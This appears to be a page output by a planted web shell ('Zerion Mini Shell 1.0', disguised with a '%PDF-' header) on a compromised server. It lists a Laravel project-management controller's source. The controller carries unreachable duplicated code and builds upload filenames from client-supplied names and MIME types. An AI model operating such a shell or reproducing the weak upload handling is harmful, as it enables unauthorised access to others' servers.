%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/sljcon/app/Http/Controllers/
Upload File :
Create Path :
Current File : /var/www/html/sljcon/app/Http/Controllers/ProjectController.php

<?php

namespace App\Http\Controllers;

use App\Models\Category;
use App\Models\Project;
use App\Models\Media;
use Illuminate\Http\Request;
use Carbon\Carbon;
use App\Providers\MorphableName;
use Illuminate\Support\Facades\DB;

class ProjectController extends Controller
{
    /**
     * ProjectController constructor.
     */
    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function index()
    {
        $projects = Project::query()->paginate(10);
        return view('admin.project.all', [
            'projects' => $projects
        ]);
    }

    /**
     * @param $id
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function newOrEdit($id)
    {
        $project = Project::query()
            ->find($id);
        if (!$project) {
            $project = new Project();
        }
        $categories = Category::all();
        return view('admin.project.form', [
            'project' => $project,
            'categories' => $categories,
            'id' => $id
        ]);
    }

    /**
     * @param Request $request
     * @param $id
     */
    public function store(Request $request, $id)
    {
        $project = Project::query()
            ->find($id);
        $rules = [
            'name' => 'required|string',
            'order' => 'required|integer',
            'short_description' => 'required|string',
            'start_date' => 'required|date',
            'finish_date' => 'required|date',
            'work_hours' => 'required|integer',
            'staff_number' => 'required|integer',
            'project_type' => 'required|integer',
            'category_id' => 'required|integer|exists:categories,id',
            'file' => $project
                ? 'nullable'
                : 'required' . '|image',
        ];
        if ($project && $project->id) {
            $rules['slug'] = 'required|string|unique:projects,slug,' . $project->id;
        } else {
            $rules['slug'] = 'required|string|unique:projects,slug';
        }
        $this->validate($request, $rules);
        if ($project) {
            $project->update($request->all());
        } else {
            $project = Project::query()
                ->create($request->all());
        }
        if ($file = $request->file('file')) {
            $media = $project->media()
                ->where('media_type', Media::MEDIA_TYPE_PROJECT_IMAGE)
                ->first();
            if ($media) {
                \File::delete(public_path('uploads') . '/' . $media->file_name);
                $media->delete();
            }
            $fileName = head(explode('.', $file->getClientOriginalName())) . Carbon::now()
                    ->formatLocalized('%d%m%Y%H%M%S') . '.' . last(explode('/', $file->getClientMimeType()));
            $file->move('uploads', $fileName);
            Media::query()
                ->create([
                    'reference_id' => $project->id,
                    'reference_type' => MorphableName::forClass(Project::class),
                    'file_name' => $fileName,
                    'real_file_name' => $file->getClientOriginalName(),
                    'media_type' => Media::MEDIA_TYPE_PROJECT_IMAGE,
                ]);
        }
        return redirect(route('admin.projects'));
        DB::beginTransaction();
        try {
            if ($project) {
                $project->update($request->all());
            } else {
                $project = Project::query()
                    ->create($request->all());
            }
            if ($file = $request->file('file')) {
                $media = $project->media()
                    ->where('media_type', Media::MEDIA_TYPE_PROJECT_IMAGE)
                    ->first();
                if ($media) {
                    \File::delete(public_path('uploads') . '/' . $media->file_name);
                    $media->delete();
                }
                $fileName = head(explode('.', $file->getClientOriginalName())) . Carbon::now()
                        ->formatLocalized('%d%m%Y%H%M%S') . '.' . last(explode('/', $file->getClientMimeType()));
                $file->move('uploads', $fileName);
                Media::query()
                    ->create([
                        'reference_id' => $project->id,
                        'reference_type' => MorphableName::forClass(Project::class),
                        'file_name' => $fileName,
                        'real_file_name' => $file->getClientOriginalName(),
                        'media_type' => Media::MEDIA_TYPE_PROJECT_IMAGE,
                    ]);
            }
            DB::commit();
            return redirect(route('admin.projects'));
        } catch (\Exception $exception) {
            DB::rollback();
            return redirect(route('dashboard.categories.details', $project->id));
        }
    }

    /**
     * @param $id
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function Gallery($id)
    {
        $project = Project::query()
            ->find($id);
        return view('admin.project.gallery', [
            'project' => $project
        ]);
    }

    /**
     * @param Request $request
     * @param $id
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector
     * @throws \Exception
     */
    public function UploadGallery(Request $request, $id)
    {
        $rules = [
            'photos' => 'array',
        ];

        for ($i = 0; $i < count($request->file('photos')); $i++) {
            $rules["photos.{$i}"] = 'image';
        }

        $this->validate($request, $rules);
        $project = Project::query()
            ->find($id);

        $photos = $request->file('photos');
        foreach ($photos as $photo) {

            $fileName = head(explode('.', $photo->getClientOriginalName())) . Carbon::now()
                    ->formatLocalized('%d%m%Y%H%M%S') . '.' . last(explode('/', $photo->getClientMimeType()));
            $photo->move('uploads/gallery', $fileName);
            Media::query()
                ->create([
                    'reference_id' => $project->id,
                    'reference_type' => MorphableName::forClass(Project::class),
                    'file_name' => $fileName,
                    'real_file_name' => $photo->getClientOriginalName(),
                    'media_type' => Media::MEDIA_TYPE_PROJECT_GALLEY,
                ]);
        }
        return redirect(route('admin.project.gallery', $project->id));
    }

    /**
     * @param Request $request
     * @param $id
     * @param $galleryId
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector
     */
    public function deleteGallery(Request $request, $id, $galleryId)
    {
        try {
            /** @var Category $category */
            $project = Project::query()
                ->find($id);
            $media = $project->media()
                ->where('id', $galleryId)
                ->first();
            \File::delete(public_path('uploads/gallery/') . $media->file_name);
            $media->delete();
            return redirect(route('admin.project.gallery', $project->id));
        } catch (\Exception $exception) {
            return redirect(route('admin.projects'));
        }
    }

    public function delete(Request $request)
    {
        $data = $request->all();
        DB::beginTransaction();
        try {
            $project = Project::query()
                ->find($data['id']);
            if ($project) {
                if ($project->sections) {
                    //delete all section
                    foreach ($project->sections as $section) {
                        $media = $section->media()
                            ->where('media_type', Media::MEDIA_TYPE_SECTION_IMAGE)
                            ->first();
                        if ($media) {
                            \File::delete(public_path('uploads/section') . '/' . $media->file_name);
                            $media->delete();
                        }
                        $section->delete();
                    }

                }
                $media = $project->media()
                    ->where('media_type', Media::MEDIA_TYPE_PROJECT_GALLEY)
                    ->get();
                //delete gallery items
                if ($media) {
                    foreach ($media as $item) {
                        \File::delete(public_path('uploads/gallery/') . $item->file_name);
                        $item->delete();
                    }
                }
                $mainImage = $project->media()
                    ->where('media_type', Media::MEDIA_TYPE_PROJECT_IMAGE)
                    ->first();
                if ($mainImage) {
                    \File::delete(public_path('uploads/') . '/' . $mainImage->file_name);
                    $mainImage->delete();
                }
                $project->delete();
            } else {
                return abort(404);
            }
            DB::commit();
        } catch (\Exception $exception) {
            DB::rollback();
        }
        return back();
    }
}

Zerion Mini Shell 1.0